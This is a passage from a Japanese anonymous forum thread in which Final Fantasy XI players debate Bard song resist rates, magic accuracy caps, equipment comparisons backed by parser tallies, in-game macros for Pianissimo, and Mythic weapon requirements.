前に300回ララバイに関して調べ事をしてて、レジスト、ハーフレジスト、フル
を数えた事があったけどきつかったよ・・・
622 名前： 名も無き軍師 投稿日：2008/07/15(火) 00:23:05 ID:Evz19429: やっと貯まった300万を握り締めてシャイル胴を買いに行ったら500万＼(^o^)／
2週間くらい前までは300万前後で安定してたのになあ。
623 名前： 名も無き軍師 投稿日：2008/07/15(火) 00:25:54 ID:50i9iCFw: >>615

>　まあ精霊魔法と同じ式であれば、だけど。

精霊魔法の命中率の式？これは初めて見た。

精霊や弱体は完全に命中をキャップしてからはどんなに上げても
雑魚相手にはフル命中95%＋ハーフ5%で100%命中してこれを95%キャップというが
1%でもクォータレジストが出る場合、命中が95%に達していない。
(精霊にはクォータがあるが弱体の場合フルレジストするからね)
弱体ならフル95%・ハーフ5%・レジ0%。
ハーフが5%を越える場合はレジが0%で済まない。

>　フルヒット78％×ハーフヒット78％＝レジ無し95％ね。
>　まあ精霊魔法と同じ式であれば、だけど。

ここでいう精霊魔法のレジ５％はクォータレジだと思うが
これが5%出てもフル+ハーフが95%になる計算式？

魔法命中関連の話は誤情報が一人歩きしやすいから思いつきの計算式や
一部の魔法を一部の敵に使った場合の検証結果をあちこちで吹き込むのは控えてもらいたい。

また、スロウII等のＩＩ系弱体魔法が特殊で三国周辺の雑魚にも75%でキャップして　
属性杖を使えば90%あたるようになるってヴァナｍさんのブログに書いてたり例外が多すぎる
624 名前： 615 投稿日：2008/07/15(火) 01:05:34 ID:gqpFeHGr: んー突っ込みは嬉しいんだがとりあえずもうちょっと調べてきてくれ。
625 名前： 名も無き軍師 投稿日：2008/07/15(火) 07:29:04 ID:X1murvRg: 何の詳細も出さずにいきなり結果だけ言ったらそりゃ突っ込まれる罠
んで突っ込まれたら突っ込まれたで「もうちょい調べろ」じゃあ嘘情報垂れ流してるのと同じな訳だが
626 名前： 名も無き軍師 投稿日：2008/07/15(火) 09:20:56 ID:xElF8awj: >>615マイナーなとこで仮説として聞いたことあるけど検証されてたとは聞いたことはない。
>>623の方はもっと聞いたことない。誤情報が独り歩きうんぬんと言いながらの断定口調は余り愉快なものではない。
この手の検証はかなり厄介なので証明されることはまず無いと思う。
意見の一つとして聞き、また書き込むことはよいのではないかと思う。板の活性化のためにも。
627 名前： 名も無き軍師 投稿日：2008/07/15(火) 12:34:20 ID:gqpFeHGr: どこから説明すればいいのか難しいんだよなぁ・・・
とりあえず検証のソースは「ダチなし」さんとこ。ぐぐれば出てくる。

てか、魔法使ってれば何となく分かると思うんだが。
フル判定→ハーフ判定→クォーター判定→レジスト　ってなってる事ね。
>>623が魔法命中をキャップしてればクォーターが出ないとか言っちゃうあたり、本当に後衛ジョブなのか怪しいからなぁ･･･。
628 名前： 名も無き軍師 投稿日：2008/07/15(火) 20:02:41 ID:XXRCAUr5: >>627
>てか、魔法使ってれば何となく分かると思うんだが。
>フル判定→ハーフ判定→クォーター判定→レジスト　ってなってる事ね。
精霊魔法に関しては、1/8 以下もあることを忘れんでくれ。

弱体系に関しても。俺がスリプル(I)で寝かせたらスリプルIIで上書きさ
れて、さらに十秒程度で切れたことがある。初期の裏で召還獣暴発の事
件だったのでよく覚えている。赤ならよくやると思うけど、スリプル着
弾後に秒読みするしね。これは 1/8 か 1/16 のどちらかだと思う。

1/4 以下や 1/8 以下をレジスト (フルレジ) と表現してるなら、誤解を
招くので止めて欲しいなと思う。
629 名前： 名も無き軍師 投稿日：2008/07/15(火) 21:04:57 ID:gqpFeHGr: ああ、ごめん1/16レジ他の事ワスレテタ。
1/32レジってあったっけ？

スリプルは何か違うような気がする。
フル、ハーフ、後はレジストじゃないかと。
それは耐性が着いていたとかじゃないだろうか。
630 名前： 名も無き軍師 投稿日：2008/07/15(火) 21:22:17 ID:XXRCAUr5: >>623
ついでに、前から気になっていたスロウIIの命中率を追試してきた。

赤75/黒37、弱体スキル 292、MND 70、スキル、魔法命中系の装備無し。
武器盾無し。スロウIIは一段のみ。火曜日、早朝から夕方まで。相手は
南グスタベルグの球根二体。

結果はスロウIIを21発当てて、すべて3分有効。

21発は命中率を語るには少なすぎる回数だけど、現状で75%キャップを否
定するのには十分な回数だと思う。実装直後と今とでは命中率の上限が
変わっているかのではないかな。
631 名前： 名も無き軍師 投稿日：2008/07/15(火) 22:25:50 ID:XXRCAUr5: 連投済まぬ。そして知ったかごめん。

精霊魔法は 1/8 までは確認できたけど、1/16 はログ漁ったけどそれら
しいのを見つけられず。Kirin でも 1/8 っぽかった。m(_ _)m
632 名前： 名も無き軍師 投稿日：2008/07/15(火) 23:42:11 ID:q98pZxDN: そもそも75%キャップとかアホな事誰もいっとらんだろ
もし95%でキャップと仮定したら75%って言ってるだけであってだな
歌のキャップは99.75%でほぼFAだろう(95%×95%)
633 名前： 名も無き軍師 投稿日：2008/07/15(火) 23:59:41 ID:XXRCAUr5: >>632
>そもそも75%キャップとかアホな事誰もいっとらんだろ
>>623
>また、スロウII等のＩＩ系弱体魔法が特殊で三国周辺の雑魚にも75%でキャップして　
>属性杖を使えば90%あたるようになるってヴァナｍさんのブログに書いてたり例外が多すぎる
スロウIIの上限の話ね。

後、知ったかの方は、1/16 にかかってる。精霊に関して、自分の手持ち
のデータで 1/16 は確認できなかった。
634 名前： 名も無き軍師 投稿日：2008/07/16(水) 00:24:39 ID:Kuc4DhWj: あれ、1/16レジって無かったっけか。
1/1、1/2、1/4、1/8の4種類だけ？

命中率のキャップ75%のははパライズ2だったような気がする。
なんにしても魔法命中率のキャップがあるのは例外中の例外じゃないかなぁと。

まぁ、まとめると命中率95%じゃキャップしてないって事で。
キャップすると400回に1回しかレジされなくなるから、たいかんｗで分かるはず。
635 名前： 名も無き軍師 投稿日：2008/07/16(水) 00:28:10 ID:8H+nOMHj: アルカル借りれたんでタンジャナ上段で検証
検証回数がまだまだ少ないんで確証はないけど
かなり命中率上昇しているような雰囲気

アルカルロプス
xxxxxxxxxxx_____ 修羅のエレジー______ _97.6% [_325/_333] [___0/___8/_333]
________________ 戦場のエレジー______ 100.0% [__26/__26] [___1/___0/__27]
________________ 魔物のララバイ______ _99.0% [__98/__99] [___8/___0/_107]
________________ 魔物達のララバイ____ _97.9% [_232/_237] [__10/___0/_247]
________________ 魔法のフィナーレ____ 100.0% [__60/__60] [___4/___0/__64]

土杖HQ
xxxxxxxxxxx_____ 修羅のエレジー______ _87.8% [_253/_288] [___0/__11/_288]
________________ 戦場のエレジー______ _87.5% [__14/__16] [___0/___0/__16]
________________ 魔物のララバイ______ _88.8% [__87/__98] [___1/___0/__99]
________________ 魔物達のララバイ____ _87.1% [__88/_101] [___5/___0/_106]
________________ 魔法のフィナーレ____ 100.0% [__35/__35] [___3/___0/__38]
636 名前： 名も無き軍師 投稿日：2008/07/16(水) 00:37:38 ID:Kuc4DhWj: ぬー本当だったら凄いんだけど・・・
属性杖HQが魔法命中+30相当、アルカルがステ+10に魔法命中+20。ステ+10が良い条件だと魔法命中+10って検証結果があるからな・・・。
変わらない程度なら分かるが、アルカルの方が魔法命中+10以上上がってるのはちょっと・・・

後それだと土杖HQでララバイも打ってる様に見えるんだが。
637 名前： 名も無き軍師 投稿日：2008/07/16(水) 01:07:20 ID:lwNBaRmf: つか、土杖側のレジひどくない？
ララ10%もレジられたら、相当キツイと思うが・・・
主要装備・ステ・スキル・食事はどうだったんだろう。
638 名前： 名も無き軍師 投稿日：2008/07/16(水) 01:45:16 ID:dQGNrEG8: 本日、ギャッラルホルン完成しました！エレジーのレジスト率が一気に減った！
バラードの恩恵もすらばしぃぃぃぃぃぃぃぃぃぃぃぃぃぃぃぃ。
主催裏LSした甲斐が有りました…。（Ｔ＿Ｔ）
639 名前： 名も無き軍師 投稿日：2008/07/16(水) 01:56:39 ID:v3ygtQHl: 最高の奴隷誕生の瞬間ｗｗｗ
640 名前： 名も無き軍師 投稿日：2008/07/16(水) 03:51:43 ID:uhrY79kK: >>635検証乙です
CHRが基準に満たないととたんにレジ率が増えるっていうのがあるからその線も捨てきれない感じ
自分の経験だとイギト→マル胴で白マムに対するララのレジ率にかなりの差がでたので

できたらジェスターケープ外した状態でのアルカルの検証もお願いしたいところです
641 名前： 名も無き軍師 投稿日：2008/07/16(水) 10:34:54 ID:NSnDTsco: アルカルもってると、獣マムのレジスト効果も無視できるってこと？
そのrepおかしくね？
642 名前： 名も無き軍師 投稿日：2008/07/16(水) 11:26:38 ID:cSoSwDoa: >>635
取り合えずその他の装備が気になるな
良かったら武器以外の装備も書いてくれると嬉しい
643 名前： 名も無き軍師 投稿日：2008/07/16(水) 11:53:43 ID:lDjqtJOv: 吟/忍___________ 修羅のエレジー______ _90.5% [__76/__84] [___0/___5/__84]
________________ 魔物のララバイ______ _82.8% [__48/__58] [__11/___0/__69]
________________ 魔物達のララバイ____ _93.3% [__84/__90] [___2/___0/__92]
________________ 魔法のフィナーレ____ 100.0% [__34/__34] [__10/___0/__44]

タンジャナ上段のRep探してきたが、ユニクロだとこんなものか。
644 名前： 名も無き軍師 投稿日：2008/07/16(水) 11:55:21 ID:lDjqtJOv: 吟______________ 修羅のエレジー______ _93.5% [_115/_123] [___0/___7/_123]
________________ 戦場のエレジー______ 100.0% [__10/__10] [___0/___0/__10]
________________ 魔物のララバイ______ _96.7% [__59/__61] [___3/___0/__64]
________________ 魔物達のララバイ____ _98.6% [__69/__70] [___3/___0/__73]
________________ 魔法のフィナーレ____ 100.0% [__17/__17] [___9/___0/__26]

廃吟でこんな感じ。アルカルロプスもつだけで、ユニクロ吟が廃吟に匹敵する感じ
だね。
645 名前： 名も無き軍師 投稿日：2008/07/16(水) 12:08:39 ID:zZOWkXg9: >>644
それってただ単純にCHRが足りてなかったからアルカルロプス持った事で
その分が補完されたとかそーゆ可能性もあったりしないのかな？
他装備というより、ステータススキルも同数値にしないと比較しにくい気がする。

ちなみに上段でその回数でララバイ3回もレジ出てるのはあんまし廃じゃないとおもう・・
646 名前： 名も無き軍師 投稿日：2008/07/16(水) 12:12:59 ID:Gzkg47rI: 獣さん居るからじゃね？
レジスト発動をカウントから外してるかも知れないけどｗ
647 名前： 名も無き軍師 投稿日：2008/07/16(水) 12:22:13 ID:lDjqtJOv: けど、ステ込みの性能がアルカルだからいいじゃない？
648 名前： 名も無き軍師 投稿日：2008/07/16(水) 12:27:56 ID:NSnDTsco: ファミ通の検証だとNQ杖と魔命+15なら、NQ杖の方が成功率高かったんだよね
魔命+15が34%ほどの命中率
NQ杖が40%の命中率
HQ杖が44%

HQ杖に匹敵してくる可能性はあるが、ここまで超えることは無いと思うんだよな
649 名前： 名も無き軍師 投稿日：2008/07/16(水) 15:46:37 ID:hp+MuB9a: repだと普通特性レジストはカウントされ無いだろ。
650 名前： 名も無き軍師 投稿日：2008/07/16(水) 16:32:02 ID:UP/nEfWu: >>635で出したrepの装備はこれ

テラスタッフアポロスタッフ　←→　アルカルロプス
ワラーラターバン
ウィンドトルク
ミンストレルピアス
シャイルマンティル
CHカフス+1
バルラーンリング
ミンストレルリング
ジェスターケープ+1
スピードベルト
白虎佩楯
ゴリアードクロッグ

CHR98(タブナジアタコスで+4) 歌唱235 管楽器235　※楽器スキルのメリポは共に0

んでもって今日新たに上記装備からジェスター+1外して検証(CHR88)
タンジャナ上段で2時間弱しかできなかったけど結果は以下の通り
もっといい検証方法あったら教えて欲しい

アルカルロプス装備
xxxxxxxxxxx_____ 修羅のエレジー______ _95.3% [_162/_170] [___0/___7/_170]
________________ 戦場のエレジー______ _91.3% [__21/__23] [___2/___2/__25]
________________ 魔物のララバイ______ 100.0% [__57/__57] [___5/___0/__62]
________________ 魔物達のララバイ____ _96.8% [_122/_126] [___4/___0/_130]
________________ 魔法のフィナーレ____ 100.0% [__37/__37] [___4/___0/__41]
651 名前： 名も無き軍師 投稿日：2008/07/16(水) 16:51:57 ID:Gzkg47rI: CHR100切ってその数値だと立派だな
白マムとかCHRないと壁あったしな
652 名前： 名も無き軍師 投稿日：2008/07/16(水) 16:59:32 ID:UP/nEfWu: >>650を少し訂正します
(CHR88) となってますがアルカル非装備時のCHRでした
アルカルの+10してCHR98が正しい値です_(._.)_
653 名前： 名も無き軍師 投稿日：2008/07/16(水) 17:52:03 ID:YpWS6hIu: そろそろ高く売りたいやつ乙って言い出す奴がpopする予感
654 名前： 名も無き軍師 投稿日：2008/07/16(水) 20:24:24 ID:E1CBu0wB: 高く売りたいやつ乙
655 名前： 名も無き軍師 投稿日：2008/07/16(水) 20:32:42 ID:dJbWBTP0: 売れなくて工作活動
656 名前： 名も無き軍師 投稿日：2008/07/16(水) 21:04:02 ID:lwNBaRmf: 検証オツ。
しかし、ワラタ、スピベル、白虎はないわ。ミンストピアスとかなんでだ。
土杖時のレジ率はちょっと納得だ。
蝉時以外は着替えるのが先っぽいな。
657 名前： 名も無き軍師 投稿日：2008/07/16(水) 21:19:47 ID:w3x0Wt+1: 逆に考えるんだ
真面目装備でキャップしたら比較にならないだろう
658 名前： 名も無き軍師 投稿日：2008/07/16(水) 21:35:41 ID:B/muS270: >>634
パライズIIも同じ相手に20回撃ってきたが、75%キャップはなさそう。

あと、命中率の上限が95%というのは、フルで入る率が95%ということ。
ハーフも含めれば、命中率の上限は 99.75% じゃないかと言われている。
rep では弱体や詩のフルとハーフは区別付かないので、rep の数字的に
は 99.75% が上限。メリポで 300体倒す程度だと、100% という数字は普
通にでます。
659 名前： 名も無き軍師 投稿日：2008/07/16(水) 23:32:39 ID:dQGNrEG8: Rep話は辞めろよ外部ツール野郎。
660 名前： 名も無き軍師 投稿日：2008/07/17(木) 00:49:55 ID:UZuCpnCw: >>659
>>659
>>659
661 名前： 名も無き軍師 投稿日：2008/07/17(木) 01:26:38 ID:aFAo2Afk: >>656
検証する時何度も撃つわけでリキャスト短縮にヘイスト装備。
更に元々命中が高いと比較にならんのでわざとスキル・CHRを低く装備。

そういう理由でこの装備と思われ。合理的ではないか。
662 名前： 640 投稿日：2008/07/17(木) 04:06:42 ID:MKNiJ9tc: >>650 リクに答えてくれてどうも
CHRの壁突破とそうでないことでの差ではなさそうですね
このデータ見る限りではメリポにおいて属性杖HQ<アルカルとしてよさそう
次は歌命中気にするHNM戦でどうなるか
663 名前： 名も無き軍師 投稿日：2008/07/17(木) 09:03:53 ID:k9mqw2BF: そのrepは捏造とか言ってる奴もいるが、真相はどうなんだろうな
664 名前： 名も無き軍師 投稿日：2008/07/17(木) 09:55:18 ID:YyaDm/OB: ステ上げる歌とかもともと１人対象のは別枠でかけれるようにして
ほしいのう
バラバラメヌマチがよすぎて折角のステ歌が意味ない
665 名前： 名も無き軍師 投稿日：2008/07/17(木) 10:15:54 ID:rK3wa4te: アルカル＞属性杖って検証が出ると、全部捏造扱いしてるやつが暴れている
だけ。
666 名前： 名も無き軍師 投稿日：2008/07/17(木) 12:42:26 ID:mmikNhCs: しかし過去の検証を考えるとどう考えてもアルカル＜属性杖HQなんだが。隠し効果でもあるのかね？
667 名前： 名も無き軍師 投稿日：2008/07/17(木) 14:03:49 ID:rK3wa4te: Step4全部の武器にそれぞれ隠し効果があるのかもね。
668 名前： 名も無き軍師 投稿日：2008/07/17(木) 15:35:43 ID:GxckeKVp: 表記通りの性能だとどうしてもな…
ただCHR高い敵にはアルカル＞属性杖HQというケースはあり得るな
669 名前： 名も無き軍師 投稿日：2008/07/17(木) 16:03:06 ID:Shz34JCg: 魔法命中率アップの装備がアトルガン系HNMにエレジー入れる大事な要素になるなら
ゴリアードカフスが神装備になる日が来るのだろうか。
ギャッラルでもレジレジってことはスキルより魔法命中率だろうし。
参考：CHR+7 歌唱スキル+10VS魔法命中率+4。
実は魔法命中率とか関係なく弦楽器や生声でエレジー歌ったらすんなり入るとかだったら面白い。
敵の真後ろや耳元で歌ってみたりしたがやはり精霊の印ないとレジレジでした(完)
670 名前： 名も無き軍師 投稿日：2008/07/17(木) 17:39:39 ID:m0XmcCWk: アトルガンHNMはどれだけ魔法命中あげようが5%でFAでてるだろうに
671 名前： 名も無き軍師 投稿日：2008/07/18(金) 10:26:19 ID:0r2bz6Nj: 精霊とか弱体の法則から歌を推測している人多いと思うけど、歌でCHR、スキル、命中率の関係を数式で表そうとした人いるのかな?
詩人のスキルは歌唱と管/弦の二つあるから、定性的なところでは精霊とかと同じかもしれないけど、定量的な部分では異なっているんじゃないかな。
例えばだけど（歌スキル＋管スキル＋スキルUP）÷２とかにされているとか・・
黒スレだと属性杖は命中率じゃなくスキルUPとされているらしいから、詩人の場合属性杖HQがスキル+30有っても、半分の効果しかなく命中率としたら+15でアルカル優勢になっちゃうとか。
672 名前： 名も無き軍師 投稿日：2008/07/18(金) 11:31:46 ID:ZFx/e8y+: 仮説立てるのはかまわないけど
検証も自分でやれよｗ
673 名前： 名も無き軍師 投稿日：2008/07/19(土) 14:16:51 ID:78AxpjyV: 5%がキャップならなぜ印で100%(略)
674 名前： 名も無き軍師 投稿日：2008/07/19(土) 16:06:35 ID:VXwyHsbr: 吟/黒なんていつの時代だよ（笑）
675 名前： 名も無き軍師 投稿日：2008/07/19(土) 17:29:37 ID:gK+hyLZN: エチュ自体のヘイトって高い？
676 名前： 名も無き軍師 投稿日：2008/07/19(土) 19:01:19 ID:gK+hyLZN: 歌のヘイト一覧表とかないかな
677 名前： 名も無き軍師 投稿日：2008/07/19(土) 19:11:50 ID:Ad7NQ69i: 一覧表が欲しいなら歌だけ知っても意味ないだろ
どっかの外人が検証したのだとエチュは一番高かったような
678 名前： 名も無き軍師 投稿日：2008/07/20(日) 14:39:48 ID:rsObLJ4S: アースグリップ装備するとエレジーのレジ率が下がるの体感出来ます？＾＾
679 名前： 名も無き軍師 投稿日：2008/07/20(日) 15:03:22 ID:Rbk843ER: ＾＾
680 名前： 名も無き軍師 投稿日：2008/07/20(日) 18:13:59 ID:4hnWJZPE: (´・ω・`)しらんがな
681 名前： 名も無き軍師 投稿日：2008/07/20(日) 19:30:02 ID:XjyXurQp: >>678
できますん。
682 名前： 名も無き軍師 投稿日：2008/07/21(月) 20:13:47 ID:Xnc8qmWI: 魔法命中+2を体感できるってどんだけ感受性高いんだよ
683 名前： 名も無き軍師 投稿日：2008/07/21(月) 23:43:35 ID:8wXF8KtY: おねーさま）もうっ
おねーさま）敏感さんねっっ
俺）ビクンビクン
684 名前： 名も無き軍師 投稿日：2008/07/22(火) 01:44:34 ID:pi02VlqG: ナイズル実装から１年ちょいにしてやっとゴリ足とれたよ(´Д｀;)ヾ
ドロップみたのも２回目・・長かった・・・
685 名前： 名も無き軍師 投稿日：2008/07/22(火) 02:12:46 ID:tUHUCguq: ゴリ出にくいって言う噂は良く聞くけどウチはアスカルが出にくいな
ゴリ・デナリは結構よく見る
686 名前： 名も無き軍師 投稿日：2008/07/22(火) 10:14:51 ID:zFd9vdUx: うちはゴリばかりで、ゴリが出ると「ゴリ厄キター」となる。
全員フルセットまでもう少しなのぜ。
687 名前： 名も無き軍師 投稿日：2008/07/22(火) 12:00:10 ID:fyj50vdO: >>673
山の目玉のサイレスは5%キャップだが、印すれば100%入る。
BCやENMの敵は睡眠5%キャップが多いが、印すれば100%入る。
688 名前： 名も無き軍師 投稿日：2008/07/22(火) 12:53:00 ID:fWtll9Hn: 朱雀に印サイレスでレジられた俺参上
689 名前： 名も無き軍師 投稿日：2008/07/22(火) 13:14:47 ID:HAbxio/u: 命中キャップが5%なのではなく
レジキャップが95%だと考えるんだ
690 名前： 名も無き軍師 投稿日：2008/07/22(火) 20:38:27 ID:mqge4SoP: 黒で、朱雀に、印サイレス、印バインド４，５人分レジられたが、赤の連続魔サイレスで、
３発目入って、もうね。その後も切れるごとにいれてたみたいで、4/9で入れてる
ってどうなのよ・・・
691 名前： 名も無き軍師 投稿日：2008/07/22(火) 21:22:22 ID:aVExHYJ0: なあ
潜在リング使うのいいけど
着替えくらい用意しとけよ

ケアルガするとき心痛むし、なかにはケアルガで怒るヘタレもいるし
なにより自分が一番めんどくさいと思うんだがなあ
692 名前： 名も無き軍師 投稿日：2008/07/22(火) 21:27:10 ID:xtGujt0r: それはさすがに雑魚詩人

はい終了
次ぎどうぞ
693 名前： 名も無き軍師 投稿日：2008/07/22(火) 22:12:52 ID:rC1m0tdE: マクロ作り直すとかが面倒なので俺の心のなかではピアニッシモは無かったことにした
694 名前： 名も無き軍師 投稿日：2008/07/23(水) 01:55:59 ID:aTC4rm1/: >>693
>>459

この程度も面倒なら、新装備取っても、新歌きても、マクロ作るの面倒なんだろうな。
695 名前： 名も無き軍師 投稿日：2008/07/23(水) 06:11:43 ID:QGqoM/Mf: ピアニッシモは既存の<me>を全部<stpc>にしたほうがいいのかねえ
それともピンする可能性ある歌バラ・マド等を新たに別マクロで作るか
696 名前： 名も無き軍師 投稿日：2008/07/23(水) 06:56:09 ID:owauO8Sv: 普段からstpcにしてるおれにスキはなかった
697 名前： 名も無き軍師 投稿日：2008/07/23(水) 11:47:54 ID:DkB5/c6R: ピアニッシモが来る前から
/grin motion <stpc>
/so 歌 <lastst>
を使ってた俺にも隙は無かった
698 名前： 名も無き軍師 投稿日：2008/07/23(水) 11:56:13 ID:Dd0lQzZW: >>695
俺はピアニッシモ用にマクロ作った
メリポ用パレットだと吟じる歌限られてるから空き余裕だし
699 名前： 名も無き軍師 投稿日：2008/07/23(水) 12:34:18 ID:QXo51BVZ: 吟じます
700 名前： 名も無き軍師 投稿日：2008/07/23(水) 12:40:24 ID:+1inrU8U: 滅多にかけないﾋﾟﾝﾏﾄﾞなんて<me>でいい、かけるとき手動にすれば問題無い
ただ、バラだけはｓｔｐｃにしといたほうがいい
701 名前： 名も無き軍師 投稿日：2008/07/23(水) 12:53:17 ID:QXo51BVZ: ピアニッシモの方を
/ja ピアニッシモ <stpc>
指定して、ピアニッシモのタゲにされたプレイヤーにしか次の歌がかからない仕様にすれば円満解決なのにな。
702 名前： 名も無き軍師 投稿日：2008/07/23(水) 21:06:59 ID:IDOtD9oM: 俺は、
/ja ピアニッシモ <me>
/wait 1
//so ピンマドピンマドする人
/so バラ2 <p1>
//so バラ1 <p1>
//so メヌ4 <p1>

こんな感じだな。選択するのがウザイ＆誤爆すると手痛いので、こうなった。
重くてwait1じゃ足りなかったら連打しておｋ。

マドみたいなときは、もう１回普通のマドのマクロおして楽器変えるくらいか。

んで、ルーチン用にピアニッシモマクロ２個用意してる。もっとも２枠つぶれちゃうので、
普段はピアニッシモないセットを使ってるけど。つーか、２曲歌うときは、
ピアニッシモのリキャが微妙に間に合わないのが、ちょっとイライラ。
１人にかけるのに、きっちり普通の時間かかるのもイライラｗ

ルーチンでやらないときは、手動せざるを得ないｗｗｗ
703 名前： 名も無き軍師 投稿日：2008/07/23(水) 21:07:00 ID:BGGHMK8+: どうせバラでしか使わないから
ピアニ
バラ <stpc>
の１マクロでおｋ
704 名前： 名も無き軍師 投稿日：2008/07/24(木) 07:14:24 ID:MPySBFDF: 手抜き詩人乙
705 名前： 名も無き軍師 投稿日：2008/07/24(木) 08:26:07 ID:VkYPfkCK: どの歌頻繁に使うかなんて個人の環境によって違うんだから
自分で決めろ
706 名前： 名も無き軍師 投稿日：2008/07/26(土) 01:06:26 ID:xeEWLVUt: 俺はピアニッシモ使ったら、全てst系で作った別setに飛ぶようにした。
stで選んだ後は元通りいつも使ってるmeのset(ここにﾋﾟｱﾆｯｼﾓ有)に戻るように・・・ね。
707 名前： 名も無き軍師 投稿日：2008/07/26(土) 04:20:44 ID:NF4phG95: 詩人71で挫折した俺が無謀にも詩人2週目に突入するのにお前らはFFか
708 名前： 名も無き軍師 投稿日：2008/07/26(土) 17:02:59 ID:8vdoBoRj: 知るか！！
709 名前： 名も無き軍師 投稿日：2008/07/26(土) 19:14:09 ID:4aXJc3FB: 一週目完走しろｗ
710 名前： 名も無き軍師 投稿日：2008/07/26(土) 22:44:43 ID:5RWtSnrN: 他ジョブもやってると詠唱は全部stpc/stnpcにすると思うんだけどなぁ
711 名前： 名も無き軍師 投稿日：2008/07/27(日) 02:15:57 ID:Ky1qI9KF: ブリストやエンも<stpc>でやってるのか？
普通は無意味な手間は省くだろ。
712 名前： 名も無き軍師 投稿日：2008/07/27(日) 08:29:49 ID:fvgcC9Ae: ナイチンゲールとトルバドゥールって持っておいた方が
良いですかね。
713 名前： 名も無き軍師 投稿日：2008/07/27(日) 09:31:49 ID:PuHg48od: ないよりはいいね
714 名前： 名も無き軍師 投稿日：2008/07/27(日) 10:03:23 ID:m73vuuh/: トルバがあると便利なことは多いが
ナイチンは言うほど重要ではない

メリポなんかで２曲歌ってると釣りきれないときに
ナイチンで２曲うたって釣りにいったりできるけどね
715 名前： 名も無き軍師 投稿日：2008/07/27(日) 10:04:34 ID:amLKvheK: ナイチントルバは固定活動でソウル使う場面あるならとったほうがいいな
716 名前： 名も無き軍師 投稿日：2008/07/27(日) 10:25:10 ID:fvgcC9Ae: 参考になります。
ソウルとナイチントルバってどういう風に
絡めて使うもんなんでしょうか。
717 名前： 名も無き軍師 投稿日：2008/07/27(日) 10:52:02 ID:hRCpqwyP: トルバ：ソウル効果延長、味方歌・マズルカかけなおし低減(長距離移動時)など
ナイチン：トルバを単体で使うとストレスたまるので。あるいはリキャ短縮狙い。

ソウルでトルバのみ使うと、前衛２曲、後衛２曲の計４曲歌う間に効果が
切れがち。ナイチンありだと４曲＋エレジーしても余裕あり。

ソロで蝉回ししながら歌うときも便利ね。メリポでも２分間隔でかけなおす
ところを１回省けるのは釣り師としてはでかい。間に合えば釣りのエレジー
リキャがかなり短縮してるｗララ・フィナしまくる場面でも同様。

ソウルだけで使うつもりなら、１段でいいしね。
718 名前： 名も無き軍師 投稿日：2008/07/27(日) 10:59:27 ID:hRCpqwyP: ソウルで使う場合は、
４分でいい場合。開幕ソウル・ナイチン・トルバで４曲＋エレジーなどでおｋ

場合によっては、ピアニッシモで１曲誰かの歌を変えるのもあり。
例：ソウルマチ＞メヌ＞百烈してるモにピアニッシモメヌ３orSTRエチュ

効果時間できるだけ伸ばす場合。
ソウル＞４曲回し＋α＞２分経過＞ナイチントルバで歌いなおし

こんなかんじかしら？
719 名前： 名も無き軍師 投稿日：2008/07/28(月) 10:13:16 ID:oWSce2T8: なあメリポって
戦闘中に次の敵を寝かしてある状態にするのが普通だと思うんだが
翡翠前とかで敵余ってて、
ワキマチでもないのに最近できない詩人が多い気がする
前衛と一緒に敵釣りに行ってるんじゃねーよ…
敵のPOPってズレあるから湧きに余裕持たせて
多めのローテーション組めよ！わかった？
720 名前： 名も無き軍師 投稿日：2008/07/28(月) 10:36:01 ID:y8MbvFGE: 前衛の殲滅力次第
721 名前： 名も無き軍師 投稿日：2008/07/28(月) 20:20:08 ID:DYIHMF2u: 719が詩人やりゃええやん
722 名前： 名も無き軍師 投稿日：2008/07/29(火) 07:22:51 ID:7zxiOOc/: 白がナイズル片手棍装備すれば状態異常が常時女神の慈悲になるのか・・
http://ffo.warcry.com/news/view/85266-FFXI-Dancers-Mythic-Weapon-First...

ひょっとしたら詩人の武器装備したら歌3曲とかぶっこわれたの
来る可能性もあるな
アレキサンドライトも緩和されるらしいし、狙える可能性も・・？
723 名前： 名も無き軍師 投稿日：2008/07/29(火) 08:18:27 ID:gSmyEDb7: アレキが緩和されたところで大部分の人間には余裕でハードル高いから心配するな
幻灯のカギ、蛮族王討伐、アサルト全部やり直し、トークン15万・アンプル10万
これらすべてのコンテンツを両立させつつ武器を目指せるやつが何人いるやら

これらも選択式になって緩和されるって期待してるやつもいるみたいだけど
完成品の性能が海外サイトで公開されている通りなら「ちょっと頑張れば時間かかるけど誰でも取れる」
みたいな甘い難易度で武器をリリースしたりせんだろうよ、あの開発が

あんな性能のが「がんばれば一般人でも取れる」ような難易度になっちまったら
既存の大部分の合成品武器やレアなNM品武器等の存在意義を根こそぎ奪いかねないしな

そもそも最初からﾚﾘｯｸと同等かそれ以上の難易度で設計してるって明言してたわけだし
あんま期待してるとあとでバカを見るぞ
ｱﾚｷ緩和って言ってもｱﾚｷの必要個数減らすorドロップ増やすくらいだろ
724 名前： 名も無き軍師 投稿日：2008/07/29(火) 09:04:48 ID:7L6x5Plh: まあ、さすがにそんな短絡的に取れるなんて本気で期待してるやつはいないだろう。

幻灯のカギ：
防具狙いでナイズル固定やってる人も多いし、自分の都合で100層クリアしてカギにしたい、
なんてワガママはそう簡単にはいかない

蛮族王：
頭数そろえたって戦ったことない人が1回や2回で勝てるほど甘い強さじゃない
道中迷ったり死んだりするメンバーも絶対いるだろうし、リダやるなら果てしなく疲れること請け合い

トークン15万：
固定メンバーの防具提供のため記録持ちな人はいつまでもカギ化できずに
通ってたりしててむしろ10万くらいは溜まってる人もいるか・・・？

アサルトやり直し：
ナイズルでトークン15万ためとの兼ね合いが・・・

アンプル10万：
アンプル取得数が増えたとはいえ入場制限日数もあるし
特にウイングIIIは必ずしもクリアできる難易度じゃないことも多いので取得数は変動

アレキサンドライト：
自力で集めるにはサルベ行かねばならない
サルベ行くためには戦績目的のアサルトに通わなきゃならんので
トークン貯めやアサルト全やり直しのほうがどうしても遅れる
緩和が明言されてるとはいえ、自力であつめる場合はそれなりの資金力は要るだろう

さらに今は未実装の後半クエＢＦとやらも待っている
楽に勝てるような難易度にはならないバトルフィールドだろうと容易に想像できる

そういや、レリックもよく「○億ギルさえあればレリック作れる」とか言うのを見かけるが
実際は証や欠片を取れる戦力も必要だし、晒しやオルデール銅貨の値上がりや転売や
地味に増加しつつあるレリックライバルとの数ヶ月にわたる買い取りシャウト合戦やら
レリックも金の力「だけ」じゃ解決できないよなァ。
いや・・・金に糸目つけなければイケるか？
てめーらに100億ギルやっから俺がレリック作るまでオルデール銅貨買うな、とかライバルに言えば・・・・・無理か。
725 名前： 名も無き軍師 投稿日：2008/07/29(火) 17:40:52 ID:t7KO/UzQ: 玄武盾以外で防御に実用的な盾がほしいよ
っていうか盾スキルほしいよ
